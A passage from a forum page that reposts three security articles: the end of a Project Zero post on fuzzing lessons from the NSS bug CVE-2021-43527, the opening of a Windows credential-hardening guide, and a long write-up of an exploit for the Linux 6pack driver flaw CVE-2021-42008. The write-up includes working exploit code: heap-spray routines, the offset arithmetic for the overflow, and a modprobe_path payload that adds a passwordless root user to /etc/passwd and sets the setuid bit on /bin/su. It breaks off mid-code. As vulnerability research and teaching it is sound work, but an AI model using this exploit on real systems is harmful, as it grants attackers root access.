fuzzer that discovered this vulnerability used a combination of two approaches, stack coverage and object isolation. Stack Coverage The most common method of measuring code coverage is block coverage, or edge coverage when source code is available. I’ve been curious if that is always sufficient. For example, consider a simple dispatch table with a combination of trusted and untrusted parameters, as in Fig 4. #include <stdio.h> #include <string.h> #include <limits.h> static char buf[128]; void cmd_handler_foo(int a, size_t b) { memset(buf, a, b); } void cmd_handler_bar(int a, size_t b) { cmd_handler_foo('A', sizeof buf); } void cmd_handler_baz(int a, size_t b) { cmd_handler_bar(a, sizeof buf); } typedef void (* dispatch_t)(int, size_t); dispatch_t handlers[UCHAR_MAX] = { cmd_handler_foo, cmd_handler_bar, cmd_handler_baz, }; int main(int argc, char **argv) { int cmd; while ((cmd = getchar()) != EOF) { if (handlers[cmd]) { handlers[cmd](getchar(), getchar()); } } } Fig 4. The coverage of command bar is a superset of command foo, so an input containing the latter would be discarded during corpus minimization. There is a vulnerability unreachable via command bar that might never be discovered. Stack coverage would correctly keep both inputs.[1] To solve this problem, I’ve been experimenting with monitoring the call stack during execution. The naive implementation is too slow to be practical, but after a lot of optimization I had come up with a library that was fast enough to be integrated into coverage-guided fuzzing, and was testing how it performed with NSS and other libraries. Object Isolation Many data types are constructed from smaller records. PNG files are made of chunks, PDF files are made of streams, ELF files are made of sections, and X.509 certificates are made of ASN.1 TLV items. If a fuzzer has some understanding of the underlying format, it can isolate these records and extract the one(s) causing some new stack trace to be found. The fuzzer I was using is able to isolate and extract interesting new ASN.1 OIDs, SEQUENCEs, INTEGERs, and so on. Once extracted, it can then randomly combine or insert them into template data. This isn’t really a new idea, but is a new implementation. I'm planning to open source this code in the future. Do these approaches work? I wish that I could say that discovering this bug validates my ideas, but I’m not sure it does. I was doing some moderately novel fuzzing, but I see no reason this bug couldn’t have been found earlier with even rudimentary fuzzing techniques. Lessons Learned How did extensive, customized fuzzing with impressive coverage metrics fail to discover this bug? What went wrong Issue #1 Missing end-to-end testing. NSS is a modular library. This layered design is reflected in the fuzzing approach, as each component is fuzzed independently. For example, the QuickDER decoder is tested extensively, but the fuzzer simply creates and discards objects and never uses them. extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { char *dest[2048]; for (auto tpl : templates) { PORTCheapArenaPool pool; SECItem buf = {siBuffer, const_cast<unsigned char *>(Data), static_cast<unsigned int>(Size)}; PORT_InitCheapArena(&pool, DER_DEFAULT_CHUNKSIZE); (void)SEC_QuickDERDecodeItem(&pool.arena, dest, tpl, &buf); PORT_DestroyCheapArena(&pool); } Fig 5. The QuickDER fuzzer simply creates and discards objects. This verifies the ASN.1 parsing, but not whether other components handle the resulting objects correctly. This fuzzer might have produced a SECKEYPublicKey that could have reached the vulnerable code, but as the result was never used to verify a signature, the bug could never be discovered. Issue #2 Arbitrary size limits. There is an arbitrary limit of 10000 bytes placed on fuzzed input. There is no such limit within NSS; many structures can exceed this size. This vulnerability demonstrates that errors happen at extremes, so this limit should be chosen thoughtfully. A reasonable choice might be 224-1 bytes, the largest possible certificate that can be presented by a server during a TLS handshake negotiation. While NSS might handle objects even larger than this, TLS cannot possibly be involved, reducing the overall severity of any vulnerabilities missed. Issue #3 Misleading metrics. All of the NSS fuzzers are represented in combined coverage metrics by oss-fuzz, rather than their individual coverage. This data proved misleading, as the vulnerable code is fuzzed extensively but by fuzzers that could not possibly generate a relevant input. This is because fuzzers like the tls_server_target use fixed, hardcoded certificates. This exercises code relevant to certificate verification, but only fuzzes TLS messages and protocol state changes. What Worked The design of the mozilla::pkix validation library prevented this bug from being worse than it could have been. Unfortunately it is unused outside of Firefox and Thunderbird. It’s debatable whether this was just good fortune or not. It seems likely RSA-PSS would eventually be permitted by mozilla::pkix, even though it was not today. Recommendations This issue demonstrates that even extremely well-maintained C/C++ can have fatal, trivial mistakes. Short Term Raise the maximum size of ASN.1 objects produced by libFuzzer from 10,000 to 224-1 = 16,777,215 bytes. The QuickDER fuzzer should call some relevant APIs with any objects successfully created before destroying them. The oss-fuzz code coverage metrics should be divided by fuzzer, not by project. Solution This vulnerability is CVE-2021-43527, and is resolved in NSS 3.73.0. If you are a vendor that distributes NSS in your products, you will most likely need to update or backport the patch. Credits I would not have been able to find this bug without assistance from my colleagues from Chrome, Ryan Sleevi and David Benjamin, who helped answer my ASN.1 encoding questions and engaged in thoughtful discussion on the topic. Thanks to the NSS team, who helped triage and analyze the vulnerability. [1] In this minimal example, a workaround if source was available would be to use a combination of sancov's data-flow instrumentation options, but that also fails on more complex variants. Posted by Ryan at 10:38 AM Sursa: https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html
-
PROTECTING WINDOWS CREDENTIALS AGAINST NETWORK ATTACKS December 2, 2021 stitakpmgcom Misc Leave a comment Over the years I’ve seen a lot of misconfigurations or a lack of configurations when it comes to protecting Windows credentials, hashes or Kerberos tickets. The main difficulty here comes from the fact that the Windows domain is complex and the multitude of features that it offers come with many security implications, especially when there is a lack of maturity in the service management process. This is why constant monitoring and auditing is required in order to maintain a decent level of security, and there is no easy or single solution that you can truly rely on. In fact the principle of defense in depth is key in any domain infrastructure that aims to maintain a high security level. The purpose of this post is to present the multitude of control mechanisms that should be considered by any organization using an Active Directory Domain Infrastructure and seeking to protect cached credentials and avoid Network attacks that are commonly performed by attackers with tools such as Mimikatz, Rubeus, Metasploit and other. 1. Apply UAC restrictions to local accounts on network logons Usually local system accounts are used by system administrators to perform local tasks and therefore these accounts should only be used locally and should not be used to perform actions remotely. The “Apply UAC restrictions to local accounts on network logons” group policy setting controls whether local accounts can be used for remote administration via network logon. Enabling this option will prevent attackers from performing remote actions even if they have the correct credentials for a local account. https://www.stigviewer.com/stig/windows_10/2017-02-21/finding/V-63597 Moreover, it is also recommended to avoid using privileged domain accounts such as a member of the Enterprise Admins or Domain Admins to perform simple tasks on network computers. In order to prevent privileged accounts and only allow the accounts with the minimum amount of privileges to perform these actions the group policy setting “Deny access to this computer from the network” should be configured. https://www.stigviewer.com/stig/windows_10/2016-11-03/finding/V-63871 Articol complet: https://securitycafe.ro/2021/12/02/protecting-windows-credentials-against-network-attacks/
-
1 DECEMBER 2021/RESEARCH [CVE-2021-42008] Exploiting A 16-Year-Old Vulnerability In The Linux 6pack Driver CVE-2021-42008 is a Slab-Out-Of-Bounds Write vulnerability in the Linux 6pack driver caused by a missing size validation check in the decode_data function. A malicious input from a process with CAP_NET_ADMIN capability can lead to an overflow in the cooked_buf field of the sixpack structure, resulting in kernel memory corruption. This, if properly exploited, can lead to root access. In this article, after analyzing the vulnerability, we will exploit it using the techniques FizzBuzz101 and me presented in our recent articles Fire Of Salvation and Wall Of Perdition, bypassing all modern kernel protections, then, we will evaluate other approaches to perform privilege escalation. Overview 6pack is a transmission protocol for data exchange between a PC and a TNC (Terminal Node Controller) over a serial line. It is used as an alternative to the KISS protocol for networking over AX.25. AX.25 is a data link layer protocol extensively used on amateur packet radio networks (and by some satellites, for example 3CAT2). The vulnerability we are going to exploit, was introduced by commit 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 with the introduction of the 6pack driver back in 2005. It was found by Syzbot and recently fixed by commit 19d1532a187669ce86d5a2696eb7275310070793. Every kernel version before 5.13.13 that has not been patched, is affected. As we mentioned in the introduction, the vulnerability is caused by a missing size validation check in the decode_data() function. A malicious input received over the sixpack channel from a process with CAP_NET_ADMIN capability, can cause the decode_data() function to be called multiple times by sixpack_decode(). The malicious input is subsequently decoded and stored into a buffer, cooked_buf, inside the sixpack structure. The variable rx_count_cooked is used as index in cooked_buf, it basically determines the offset at which to write a decoded byte. The problem is that if decode_data() is called many times, the rx_count_cooked variable is incremented over and over, until it exceeds the size of cooked_buf, which can contain a maximum of 400 bytes. This can result in a a Slab-Out-Of-Bounds Write vulnerability, which if properly exploited, can lead to root access. To exploit the vulnerability, we are going to target one of the latest Debian 11 versions. You can download it from here. The exploit is designed and tested for kernel 5.10.0-8-amd64. All modern protections, such as KASLR, SMEP, SMAP, PTI, CONFIG_SLAB_FREELIST_RANDOM, CONFIG_SLAB_FREELIST_HARDENED, CONFIG_HARDENED_USERCOPY etc. are enabled. Analyzing The Vulnerable Driver In modern Linux distributions, 6pack is usually compiled as a Loadable Kernel Module. The module can be loaded into kernel by setting the line discipline of a tty to N_6PACK. To do so, we can simply create a ptmx/pts pair, respectively the master side and the slave side of a pty and set the line discipline of the slave to N_6PACK: #define N_6PACK 7 int open_ptmx(void) { int ptmx; ptmx = getpt(); if (ptmx < 0) { perror("[X] open_ptmx()"); exit(1); } grantpt(ptmx); unlockpt(ptmx); return ptmx; } int open_pts(int fd) { int pts; pts = open(ptsname(fd), 0, 0); if (pts < 0) { perror("[X] open_pts()"); exit(1); } return pts; } void set_line_discipline(int fd, int ldisc) { if (ioctl(fd, TIOCSETD, &ldisc) < 0) // [2] { perror("[X] ioctl() TIOCSETD"); exit(1); } } int init_sixpack() { int ptmx, pts; ptmx = open_ptmx(); pts = open_pts(ptmx); set_line_discipline(pts, N_6PACK); // [1] return ptmx; } As we can see from the code above, after opening a ptmx and the respective slave side, we set the line discipline of the pts to N_6PACK [1] using the function set_line_discipline() which is nothing more than a wrapper for ioctl(fd, TIOCSETD, &ldisc) [2]. Line discipline, also known as LDISC, acts as an intermediate level between a character device and a pseudo terminal (or real hardware), determining the semantics associated with the device. For example, the line discipline is responsible for the association of a special character like ^C entered by the user in a terminal pressing CTRL+C, to a specific signal, SIGINT in this case. To learn more about tty, pty, ptmx/pts and ldsc I recommend you to read The TTY demystified. Once we set the pts line discipline to N_6PACK, the 6pack driver is initialized by sixpack_init_driver(): static int __init sixpack_init_driver(void) { int status; printk(msg_banner); /* Register the provided line protocol discipline */ if ((status = tty_register_ldisc(N_6PACK, &sp_ldisc)) != 0) // [1] printk(msg_regfail, status); return status; } and tty_register_ldisc() is called by the kernel to register the new line discipline [1]. The second argument, sp_ldisc, is defined as: static struct tty_ldisc_ops sp_ldisc = { .owner = THIS_MODULE, .magic = TTY_LDISC_MAGIC, .name = "6pack", .open = sixpack_open, .close = sixpack_close, .ioctl = sixpack_ioctl, .receive_buf = sixpack_receive_buf, .write_wakeup = sixpack_write_wakeup, }; Afterwards the sixpack channel is opened by sixpack_open(): static int sixpack_open(struct tty_struct *tty) { char *rbuff = NULL, *xbuff = NULL; struct net_device *dev; struct sixpack *sp; unsigned long len; int err = 0; if (!capable(CAP_NET_ADMIN)) // [1] return -EPERM; if (tty->ops->write == NULL) return -EOPNOTSUPP; dev = alloc_netdev(sizeof(struct sixpack), "sp%d", NET_NAME_UNKNOWN, sp_setup); // [2] if (!dev) { err = -ENOMEM; goto out; } sp = netdev_priv(dev); // [3] sp->dev = dev; [...] sp->status = 1; // [4] [...] timer_setup(&sp->tx_t, sp_xmit_on_air, 0); timer_setup(&sp->resync_t, resync_tnc, 0); // [5] [...] tty->disc_data = sp; // [6] tty->receive_room = 65536; /* Now we're ready to register. */ err = register_netdev(dev); if (err) goto out_free; tnc_init(sp); // [7] return 0; [...] } From the source code above, we can see that only a process with CAP_NET_ADMIN capability is allowed to interact with the 6pack driver [1]. Fortunately, this makes the vulnerability not so easily exploitable in the wild. Then, a net device is allocated using alloc_netdev() which is a macro for alloc_netdev_mqs() [2]: [...] alloc_size = sizeof(struct net_device); // 0x940 bytes if (sizeof_priv) { /* ensure 32-byte alignment of private area */ alloc_size = ALIGN(alloc_size, NETDEV_ALIGN); alloc_size += sizeof_priv; // 0x270 bytes } /* ensure 32-byte alignment of whole construct */ alloc_size += NETDEV_ALIGN - 1; p = kvzalloc(alloc_size, GFP_KERNEL | __GFP_RETRY_MAYFAIL); if (!p) return NULL; dev = PTR_ALIGN(p, NETDEV_ALIGN); [...] As we can see from alloc_netdev_mqs() source code, first it calculates the size of a net_device structure, 0x940 bytes in our case, and then it adds to it value of sizeof_priv, which corresponds to the size of a sixpack structure, 0x270 bytes in our case. After alignment, this will result in an allocation of 0xbcf bytes, that will end up in kmalloc-4096. Back to sixpack_open(), right after the call to alloc_netdev(), netdev_priv() is called: it sets the location of the sixpack structure inside the private data region of the previously allocated net device [3]. Finally, after setting the status field of the sixpack structure to 1 [4] and after setting up two timers (the function called when the second time expires, resync_tnc(), will be extremely important in the exploitation phase) [5], the tty line is linked to the sixpack channel [6], the net device is registered, and tnc_init() is called [7]: static inline int tnc_init(struct sixpack *sp) { [...] mod_timer(&sp->resync_t, jiffies + SIXP_RESYNC_TIMEOUT); // [1] return 0; } Among other things, tnc_init() sets the expiration time of the sp->resync_t timer to jiffies + SIXP_RESYNC_TIMEOUT [1]. In the Linux Kernel, jiffies is a global variable that stores the number of ticks occurred since the system boot-up. The value of this variable is incremented by one for each timer interrupt. In one second, there are HZ ticks (the value of HZ is determined by CONFIG_HZ). Since we know that HZ = number of ticks/sec and jiffies = number of ticks, we can simply convert jiffies to seconds sec = jiffies/HZ and seconds to jiffies jiffies = sec*HZ. This is exactly what the Linux Kernel does to determine when a timer expires. For example, a timer that expires in 10 seconds from now can be represented in jiffies using jiffies + (10*HZ). In our case, the timer is set to jiffies + SIXP_RESYNC_TIMEOUT. SIXP_RESYNC_TIMEOUT is equal to 5*HZ. So it means that once we initialize the sixpack channel, the timer will expire after 5 seconds and the resync_tnc() function will be called. We will analyze this function during the exploitation phase. Reaching The Vulnerable Function Now that we can communicate with the sixpack driver, when we write to the ptmx, sixpack_receive_buf() is called, which in turn calls sixpack_decode(): static void sixpack_decode(struct sixpack *sp, const unsigned char *pre_rbuff, int count) { unsigned char inbyte; int count1; for (count1 = 0; count1 < count; count1++) { inbyte = pre_rbuff[count1]; // [1] if (inbyte == SIXP_FOUND_TNC) { tnc_set_sync_state(sp, TNC_IN_SYNC); del_timer(&sp->resync_t); } if ((inbyte & SIXP_PRIO_CMD_MASK) != 0) // [2] decode_prio_command(sp, inbyte); else if ((inbyte & SIXP_STD_CMD_MASK) != 0) // [3] decode_std_command(sp, inbyte); else if ((sp->status & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK) // [4] decode_data(sp, inbyte); } } The various macros are defined in 6pack.c: #define SIXP_FOUND_TNC 0xe9 #define SIXP_PRIO_CMD_MASK 0x80 #define SIXP_PRIO_DATA_MASK 0x38 #define SIXP_RX_DCD_MASK 0x18 #define SIXP_DCD_MASK 0x08 sixpack_decode() will loop through the buffer we sent over the sixpack channel, now stored in pre_rbuff [1], and based on the value of each byte (inbyte), it will take different paths. To reach the vulnerable function, decode_data(), we must force sixpack_decode() to take the last path [4] and to do so, we need to satisfy multiple conditions: A. inbyte & SIXP_PRIO_CMD_MASK must be zero, otherwise decode_prio_command() will be called instead of decode_data() [2]. B. inbyte & SIXP_STD_CMD_MASK must be zero, otherwise decode_std_command() will be called instead of decode_data() [3]. C. sp->status & SIXP_RX_DCD_MASK must be equal to SIXP_RX_DCD_MASK [4]. Since we control the value of each byte in our buffer, the first two conditions can be easily satisfied. The most complex one to satisfy is C: sp->status corresponds to the status field of the sixpack structure associated with our tty. As we have seen before, when a sixpack structure is initialized by sixpack_open(), the status variable is set to 1. Although we have no direct control over this variable, we can still indirectly modify it by taking the decode_prio_command() path [2]: static void decode_prio_command(struct sixpack *sp, unsigned char cmd) { int actual; if ((cmd & SIXP_PRIO_DATA_MASK) != 0) { // [1] if (((sp->status & SIXP_DCD_MASK) == 0) && ((cmd & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK)) { // [2] if (sp->status != 1) printk(KERN_DEBUG "6pack: protocol violation\n"); else sp->status = 0; cmd &= ~SIXP_RX_DCD_MASK; // [3] } sp->status = cmd & SIXP_PRIO_DATA_MASK; // [4] } else { /* output watchdog char if idle */ [...] } [...] } When decode_prio_command() is called, if we satisfy the first check [1], we can get control over sp->status thanks to the line sp->status = cmd & SIXP_PRIO_DATA_MASK [4], which is exactly what we need since we control the value of cmd. Now we have a problem: if the second check is satisfied [2], the SIXP_RX_DCD_MASK bits are zeroed out from our cmd variable by the line cmd &= ~SIXP_RX_DCD_MASK [3], but since we need to satisfy condition C to reach the vulnerable function decode_data(), the second part of the second check (cmd & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK [2] will be inevitably satisfied and the same applies to the first part of the check (sp->status & SIXP_DCD_MASK) == 0 since when we call decode_prio_command() for the first time, sp->status is equal to 1. Fortunately, we can easily work around the problem by calling decode_prio_command() two times: The first time, we set sp->status to a value for which when we call decode_prio_command() again, the first part of the second check (sp->status & SIXP_DCD_MASK) == 0 [2] will not be satisfied. This way, calling decode_prio_command() again with a specific value as input, we will be able to skip the line cmd &= ~SIXP_RX_DCD_MASK [3] and set sp->status to a value that can satisfy condition C. The following python script will compute the correct bytes to use as input to achieve our goal: print("[*] First call to decode_prio_command():") for byte in range(0x100): x = byte if (x & SIXP_PRIO_CMD_MASK) != 0: # To call decode_prio_command() if (x & SIXP_PRIO_DATA_MASK) != 0: # [1] in decode_prio_command() if (x & SIXP_RX_DCD_MASK) != SIXP_RX_DCD_MASK: # [2] in decode_prio_command() x = x & SIXP_PRIO_DATA_MASK # [3] in decode_prio_command() print(f"Input: {hex(byte)} => sp->status = {hex(x)}\n") break print("[*] Second call to decode_prio_command():") for byte in range(0x100): x = byte if (x & SIXP_PRIO_CMD_MASK) != 0: # To call decode_prio_command() if (x & SIXP_PRIO_DATA_MASK) != 0: # [1] in decode_prio_command() if (x & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK: # To reach decode_data() x = x & SIXP_PRIO_DATA_MASK # [3] in decode_prio_command() print(f"Input: {hex(byte)} => sp->status = {hex(x)}") break Executing the script above we will get the following result: [*] First call to decode_prio_command(): Input: 0x88 => s->status = 0x8 [*] Second call to decode_prio_command(): Input: 0x98 => s->status = 0x18 It means that if we call decode_prio_command() the first time using 0x88 as input, sp->status will be set to 0x8, then, calling the function again using 0x98 as input, the second check will not be satisfied [2] because sp->status will be equal to 8 and (8 & SIXP_DCD_MASK) != 0, and we will be able skip the line cmd &= ~SIXP_RX_DCD_MASK [3] and set sp->status to 0x18 thanks to the line sp->status = cmd & SIXP_PRIO_DATA_MASK [4]. At this point we can satisfy condition C, (sp->status & SIXP_RX_DCD_MASK) == SIXP_RX_DCD_MASK, in sixpack_decode(), and reach the vulnerable function decode_data(). Let’s proceed examining its source code: static void decode_data(struct sixpack *sp, unsigned char inbyte) { unsigned char *buf; if (sp->rx_count != 3) { sp->raw_buf[sp->rx_count++] = inbyte; // [1] return; } buf = sp->raw_buf; // [2] sp->cooked_buf[sp->rx_count_cooked++] = buf[0] | ((buf[1] << 2) & 0xc0); sp->cooked_buf[sp->rx_count_cooked++] = (buf[1] & 0x0f) | ((buf[2] << 2) & 0xf0); sp->cooked_buf[sp->rx_count_cooked++] = (buf[2] & 0x03) | (inbyte << 2); sp->rx_count = 0; } For our discussion, we also need to take into account the following fields of the sixpack structure: struct sixpack { [...] unsigned char raw_buf[4]; unsigned char cooked_buf[400]; unsigned int rx_count; unsigned int rx_count_cooked; [...] unsigned char status; [...] }; Every time decode_data() is called, one byte is copied from our buffer to sp->raw_buf [1]. When sp->raw_buf contains three bytes and decode_data() is called again, these three bytes are decoded and copied from sp->raw_buf to another buffer, sp->cooked_buf [2]. As we can see from the sixpack structure above, this buffer can contain a maximum of 400 bytes. The variable sp->rx_count_cooked is used as index in sp->cooked_buf and it is incremented after each byte is written into it. From an attacker prospective, knowing that your payload will pass through this function, is not very reassuring. Luckily we can reuse some parts of the encode_sixpack() function in our exploit to encode our malicious input, this way, once received by sixpack_decode() our payload will be decoded by decode_data() and we will be able to control values in memory. Here is the encode_sixpack() part we are interested in: static int encode_sixpack(unsigned char *tx_buf, unsigned char *tx_buf_raw, int length, unsigned char tx_delay) { [...] for (count = 0; count <= length; count++) { if ((count % 3) == 0) { tx_buf_raw[raw_count++] = (buf[count] & 0x3f); tx_buf_raw[raw_count] = ((buf[count] >> 2) & 0x30); } else if ((count % 3) == 1) { tx_buf_raw[raw_count++] |= (buf[count] & 0x0f); tx_buf_raw[raw_count] = ((buf[count] >> 2) & 0x3c); } else { tx_buf_raw[raw_count++] |= (buf[count] & 0x03); tx_buf_raw[raw_count++] = (buf[count] >> 2); } } [...] return raw_count; } Now that we know how to reach the vulnerable function, we can finally start planning our exploit! The Exploitation Plan The first thing to consider is the layout of the sixpack structure in memory. Let’s take a look to its source code again: struct sixpack { [...] unsigned char raw_buf[4]; unsigned char cooked_buf[400]; // [1] unsigned int rx_count; // [2] unsigned int rx_count_cooked; // [3] [...] }; As we can see, if we manage to overflow the cooked_buf buffer [1], we will inevitably overwrite the rx_count variable [2] and the rx_count_cooked variable [3] in memory. Here is a visual representation: Since we know that rx_count_cooked is used as index inside cooked_buf by decode_data(), if we do the math correctly, we can use the overflow to set it to a large value, this way we should be able to trick decode_data() into continuing to write into the next object in memory. Now, assuming we can achieve this goal, we need an object that we can spray in kmalloc-4096, and once corrupted by our Out-Of-Bounds Write primitive, can give us powerful primitives, such as arbitrary read and arbitrary write. At this point, if you have read my latest article, you already know that msg_msg is exactly what we need: struct msg_msg { struct list_head m_list; long m_type; size_t m_ts; // [1] struct msg_msgseg *next; // [2] void *security; /* the actual message follows immediately */ }; In our recent articles, Fire Of Salvation and Wall Of Perdition, FizzBuzz101 and me, have extensively discussed how to utilize msg_msg objects to achieve arbitrary read and arbitrary write in the Linux Kernel. Before continuing, I recommend you to read these articles to better understand how this object can be exploited. I will continue this discussion assuming you already know how msg_msg objects can be used in kernel exploitation. If we manage to get a msg_msg object allocated right after the sixpack structure, and the respective segment allocated in kmalloc-32, we can corrupt the m_ts field of the message (which determines its size) with our Out-Of-Bounds Write primitive, setting it to a large value. This way, using msgrcv() in user space to read the message, we should be able to obtain a powerful Out-Of-Bounds Read primitive in kmalloc-32, get a memory leak and bypass KASLR. We can do something similar to achieve an arbitrary write primitive. We can spray many msg_msg objects in kmalloc-4096 and their respective segments in kmalloc-32, then for each object we hang the call to copy_from_user() in load_msg() using userfaultfd (there are alternatives to userfaultfd, we will discuss them in the Conclusion section). Afterwards, once one of these messages is allocated right after our sixpack structure, we corrupt its next pointer, setting it to the address where we want to write. In our exploit, we will use modprobe_path, but there are many other valid targets, for example the cred structure of the current task, as we have done with Wall Of Perdition. Once we release the copy_from_user() calls, we should be able to replace the modprobe_path string (set by default to “/sbin/modprobe”) with the path of a binary controlled by us, and trick the kernel into executing the malicious program that will give us root privileges. At this point, with this plan in mind, we are ready to start writing our exploit! The Exploit First of all we need to do some calculations to get the distance between sp->cooked_buf and sp->rx_count_cooked, and the distance between sp->cooked_buf and the next object in memory. In our case, the address of sp->rx_count_cooked corresponds to sp->cooked_buf[0x194] and the address of the next object in memory corresponds to sp->cooked_buf[0x688]. Since we know that sp->rx_count_cooked is used as index inside sp->cooked_buf , if we want to write to the next object in memory, we need to set its value to x, where x >= 0x688. The problem seems straightforward to solve, but we need to take in consideration the effect of GCC optimizations on the vulnerable function decode_data(): static void decode_data(struct sixpack *sp, unsigned char inbyte) { unsigned char *buf; [...] buf = sp->raw_buf; sp->cooked_buf[sp->rx_count_cooked++] = buf[0] | ((buf[1] << 2) & 0xc0); sp->cooked_buf[sp->rx_count_cooked++] = (buf[1] & 0x0f) | ((buf[2] << 2) & 0xf0); sp->cooked_buf[sp->rx_count_cooked++] = (buf[2] & 0x03) | (inbyte << 2); sp->rx_count = 0; } decode_data + 00: nop DWORD PTR [rax+rax*1+0x0] decode_data + 05: movzx r8d,BYTE PTR [rdi+0x35] // r8d = sp->raw_buf[1] decode_data + 10: [1] mov eax,DWORD PTR [rdi+0x1cc] // eax = sp->rx_count_cooked decode_data + 16: shl esi,0x2 decode_data + 19: lea edx,[r8*4+0x0] decode_data + 27: [2] mov rcx,rax // rcx = sp->rx_count_cooked decode_data + 30: lea r9d,[rax+0x1] // r9d = sp->rx_count_cooked + 1 decode_data + 34: and r8d,0xf decode_data + 38: and edx,0xffffffc0 decode_data + 41: or dl,BYTE PTR [rdi+0x34] // dl or sp->raw_buf[0] decode_data + 44: [3] mov BYTE PTR [rdi+rax*1+0x38],dl // Write first decoded byte in sp->cooked_buf decode_data + 48: movzx edx,BYTE PTR [rdi+0x36] // eax = sp->raw_buf[2] decode_data + 52: lea eax,[rdx*4+0x0] decode_data + 59: and edx,0x3 decode_data + 62: and eax,0xfffffff0 decode_data + 65: or esi,edx decode_data + 67: or eax,r8d decode_data + 70: [4] mov BYTE PTR [rdi+r9*1+0x38],al // Write second decoded byte in sp->cooked_buf decode_data + 75: lea eax,[rcx+0x3] // eax = sp->rx_count_cooked + 3 decode_data + 78: [5] mov DWORD PTR [rdi+0x1cc],eax // sp->rx_count_cooked = sp->rx_count_cooked + 3 decode_data + 84: lea eax,[rcx+0x2] // eax = sp->rx_count_cooked + 2 decode_data + 87: [6] mov BYTE PTR [rdi+rax*1+0x38],sil // Write third decoded byte in sp->cooked_buf decode_data + 92: mov DWORD PTR [rdi+0x1c8],0x0 // sp->rx_count = 0 decode_data + 102: ret The first important thing to note is that predictably, when decode_data() is called, and sp->raw_buf contains 3 bytes, GCC optimized the access to sp->rx_count_cooked, so instead of accessing its value multiple times during the write procedure, it is stored in EAX [1] and then it moved it to RCX [2] at the beginning of the function. The second important thing is that instead of three consecutive write operations in sp->cooked_buf, before writing the third decoded byte [6], the value of sp->rx_count_cooked is updated with its previously stored [1] [2] value + 3 [5]. This optimization makes things harder, because if we manage to overwrite the first two bytes of sp->rx_count_cooked thanks to the instructions [3] and [4], before overwriting the third byte [6], its value will be updated by instruction [5]. It means that we need to try to use the third write operation [6] to overwrite the second byte of sp->rx_count_cooked that corresponds to sp->cooked_buf[0x195], for example making it 0x06XX instead of 0x01XX. Since decode_data() is writing 3 bytes at time, starting from index 0 into sp->cooked_buf, each time decode_data() is called, the third byte will be written at index 0x2, 0x5, 0x8, …, 0x191, 0x194 and so on. Basically when sp->rx_count_cooked is 0x192 and decode_data() is called again, the third write operation will be performed over sp->cooked_buf[0x194], but we need to overwrite sp->cooked_buf[0x195] with the third decoded byte! We can solve the problem misaligning the writing frame by setting the first byte of sp->rx_count_cooked to 0x90, so it will become 0x190. This way, after two more calls to decode_data() the third write operation will be performed over sp->cooked_buf[0x195]. Each time decode_data() is called, we basically have a pattern of three operations: First, when sp->rx_count_cooked is equal to 0x192 and decode_data() is called again, it writes the first two bytes with instruction [3] and [4] respectively at sp->cooked_buf[0x192] and sp->cooked_buf[0x193]. Then instruction [5] updates sp->rx_count_cooked with its previously stored value + 3: 0x192 + 3: 0x195. And finally the third write operation [6] overwrites the first byte of sp->rx_count_cooked which corresponds to sp->cooked_buf[0x194], making it 0x190. Here we have the three operations represented visually: Now sp->rx_count_cooked is equal to 0x190, and we successfully misaligned the writing frame. When decode_data() is called again, we have the same pattern of operations: Write two bytes inside sp->cooked_buf (this time at sp->cooked_buf[0x190] and sp->cooked_buf[0x191]) Update sp->rx_count_cooked with its previously stored value + 3 (this time 0x190 + 3: 0x193) Write the third byte (this time at sp->cooked_buf[0x192]😞 And again, a new call to decode_data() will finally set sp->rx_count_cooked to 0x696. The pattern is always the same: Write two bytes inside sp->cooked_buf (this time at sp->cooked_buf[0x193] and sp->cooked_buf[0x194]) Update sp->rx_count_cooked with its previously stored value + 3 (this time 0x193 + 3: 0x196) Write the third byte (this time at sp->cooked_buf[0x195]😞 This will trick decode_data() into continuing to write our payload 0x0e bytes inside the next object in memory. At this point we can start writing our exploit: void prepare_exploit() { system("echo -e '\xdd\xdd\xdd\xdd\xdd\xdd' > /tmp/asd"); system("chmod +x /tmp/asd"); system("echo '#!/bin/sh' > /tmp/x"); system("echo 'chmod +s /bin/su' >> /tmp/x"); // Needed for busybox, just in case system("echo 'echo \"pwn::0:0:pwn:/root:/bin/sh\" >> /etc/passwd' >> /tmp/x"); // [4] system("chmod +x /tmp/x"); memcpy(buff2 + 0xfc8, "/tmp/x\00", 7); } void assign_to_core(int core_id) { cpu_set_t mask; pid_t pid; pid = getpid(); printf("[*] Assigning process %d to core %d\n", pid, core_id); CPU_ZERO(&mask); CPU_SET(core_id, &mask); if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0) // [2] { perror("[X] sched_setaffinity()"); exit(1); } print_affinity(); } [...] assign_to_core(0); // [1] prepare_exploit(); // [3] [...] Since we are working in a SMD environment and with the SLUB allocator active slabs are managed per-cpu (see kmem_cache_cpu), we need to make sure to operate always on the same processor to maximize the success rate of our exploit. We can do it restricting the current process to core 0 [1] using sched_setaffinity() [2] which is usable by unprivileged users. Then we call prepare_exploit() to prepare everything we need to abuse modprobe [3] (Check References to learn more about this technique or read my Hotrod writeup). As you can see once executed by the kernel, the program will add a new user with root privileges [4]. void alloc_msg_queue_A(int id) { if ((qid_A[id] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) { perror("[X] msgget"); exit(1); } } void send_msg(int qid, int size, int type, int c) { struct msgbuf { long mtype; char mtext[size - 0x30]; } msg; msg.mtype = type; memset(msg.mtext, c, sizeof(msg.mtext)); if (msgsnd(qid, &msg, sizeof(msg.mtext), 0) == -1) { perror("[X] msgsnd"); exit(1); } } void *recv_msg(int qid, size_t size, int type) { void *memdump = malloc(size); if (msgrcv(qid, memdump, size, type, IPC_NOWAIT | MSG_COPY | MSG_NOERROR) < 0) { perror("[X] msgrcv"); return NULL; } return memdump; } void alloc_shm(int i) { shmid[i] = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600); if (shmid[i] < 0) { perror("[X] shmget fail"); exit(1); } shmaddr[i] = (void *)shmat(shmid[i], NULL, SHM_RDONLY); if (shmaddr[i] < 0) { perror("[X] shmat"); exit(1); } } [...] puts("[*] Spraying shm_file_data in kmalloc-32..."); for (int i = 0; i < 100; i++) alloc_shm(shmid[i]); // [1] puts("[*] Spraying messages in kmalloc-4k..."); for (int i = 0; i < N_MSG; 